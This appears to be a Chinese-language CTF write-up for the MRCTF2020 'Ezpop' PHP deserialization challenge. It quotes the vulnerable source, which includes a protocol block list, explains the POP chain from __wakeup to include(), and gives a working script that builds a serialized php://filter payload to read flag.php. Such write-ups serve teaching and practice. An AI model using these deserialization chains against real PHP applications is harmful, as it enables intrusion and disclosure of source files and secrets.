[MRCTF2020]Ezpop

[MRCTF2020]Ezpop

考点

反序列化、构造 POP 链

思路

1、__wakeup() 方法通过 preg_match() 将 $this->source 做字符串比较,如果 $this->source 是 Show 类,就调用了__toString() 方法;
2、__toString() 访问了 str 的 source 属性,str 是 Test 类,不存在 source 属性,就调用了 Test 类的__get() 魔术方法;
4、__get() 方法将 p 作为函数使用,p 实例化为 Modify 类,就调用了 Modifier 的__invoke() 方法;
5、__invoke() 调用了 append() 方法,包含 $value,若将 $value 为伪协议,则可读 flag.php 源码

Payload

index.php源码

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

POP链:
pop链的开始是Show类,使用反序列化去触发__wakeup魔术方法,__wakeup触发__toString,然后访问不存在的source属性,触发Test类里的__get方法,__get再以访问函数的形式访问一个类去触发Modifier类里的__invoke方法,此方法再调用append函数,完成flag.php的读取

<?php
class Modifier{
	protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
	public $source;
	public $str;
	public function __construct($file){
		$this->source = $file;
	}
}
class Test{
	public $p;
	public function __construct(){
		$this->p = new Modifier();
	}
}

$a = new Show('a');
$a->str = new Test();
$H3rmesk1t = new Show($a);
echo urlencode(serialize($H3rmesk1t))."\n";
?>

在这里插入图片描述

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值